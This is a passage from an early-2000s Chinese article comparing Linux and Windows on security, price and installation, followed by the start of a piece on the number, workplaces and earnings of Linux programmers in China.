2000在网络系统,服务器连接方面的工作准备不足,Linux仍然是目前最安全的操作系统。资深的系统安全分析家还预计到今年年底Windows 2000才能完成测试、除虫工作,而微软的WONDOWS XP推出不久,笔者不敢多家评论.目前比较安全的操作系统仍然是商业版本的UNIX和Linux。资深的系统安全分析家肯定地认为:在未来的5年里,Linux将成为最安全的操作系统。到2005年,管理和使用Linux将是一件十分容易的事情。LINUX在本篇占了上风。 (十一)购买能力篇 这是一个不容回避的问题。因为价格原因,每个人都可以拥有正版的Linux。此外除了技术上的原因,它更大的意义是代表了一种开放性的软件开发及开放模式,并彻底打破了越优秀的软件价格越高这一传统定式Linux还是一个完全开放的系统。它支持各种像POSIX标准这样的开放标准和TCP/IP的Internet工程任务组标准。由于避免了专有的API(应用程序接口)和协议,可以减少对单一供应商的依赖。这样就不会出现像使用专用系统的情况:一旦犯了错误,只能继续使用原来的系统供用商的产品。也就是不会出现先享受低价,而在后期需要付出高额服务费的情况。本篇中LINUX占了上风。(十二)安装难易篇 早期的LINUX安装复杂对于新手更要冒丢失数据的风险.不过随着内核升级到2.4后各个主要LINUX软件提供商的产品安装已经变得简单.不过和微软件安装相比,Linux占了下风 (十三)总结篇 开放源代码是大势所趋,Linux前途广阔,但道路是艰苦卓绝.微软在IT业不景气的情况下,仍然保持着两位数增长.而一些LINUX厂商(如VI LINUX)出现大幅亏损.还有一个问题现在一些LINUX厂商热衷于把Linux的X做的很好媒体也大加宣传,inux的优势在于网络,嵌入式信息家电和微软拼桌面是不明智的 微软是一个整体,Linux厂商要防止被各个击破.我喜欢Linux但我也不想看到微软倒下.只有竞争才能是消费者得到好处.中国Linux程序员生存现状Linux,在很多人看来,是一个既熟悉又陌生的名词,好像时时在我们的周围,但又抓不到它真实的一面。在我们的印象中,Linux同着网络经济的泡沫息息相关。随着网络经济的江河日下,Linux的声音也低沉了下来,只是偶尔挥动几下手臂,便又消失的无影无踪。不过,当我们为C#还是Java谁更有前途争论的不亦乐乎的时候,希望视线中不要忽视还有一批在Linux上做开发和研究的程序员。虽然相对于Windows平台的开发者数量,他们少的可怜,但他们也是一股新力量,同样在为中国软件产业的发展创造着价值。现在就让我们走近这些Linux程序员,了解他们的工作和内心世界吧! 中国有多少Linux程序员?他们收入高吗? 谈到Linux程序员的数量,我们很难得到确切的数据。实际上,从宏观上来讲,单以自由软件的范畴,有很多使用Perl、PHP等脚本语言开发的程序员,这些程序能够在Linux系统平台上运行。但大家认为做这些工作的还不能算是Linux程序员,因为这些开发往往也是在Windows平台上进行的。除去此种类型的程序员,真正的Linux程序员的便寥寥无几了。有人这样计算:国内拥有一百名左右开发人员的Linux软件公司不过几家,比如红旗、中软、TurboLinux、冲浪等。除此之外,还有十家左右的冠以Linux名称的小公司,这些公司的程序员一般不超过二三十人,此外还有一些没有使用Linux名称,但事实上也部分从事Linux相关开发的公司,而这样的公司也不会超过几十家。 当然除了公司之外,还有很大一部分做Linux开发研究的集中高等院校,比如中科院、清华大学、北大大学、浙江大学,还有杭州理工大学等。因为Linux在很大层面上仍是具有科研价值的载体,另一方面,这些学校由于历史的原因或者同国外的Linux机构有很好的合作关系,还有学校也开设了相应的课程。这些院校也是Linux技术发展最为迅速,气氛最为活跃的场所,无论是Linux的讲座还是沙龙都会吸引众多学生和程序员的参与。 从互联网上看,国内最大的Linux论坛LinuxForum有会员五万名,除去很大一部分参与的爱好者,有人认为国内Linux程序员的数目不超过一万。既然做linux开发的程序员数目很少,物以稀为贵,自然他们的收入也高一些。但绝大部分Linux公司现在还没有盈利,而且随着Dot Com经济的

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论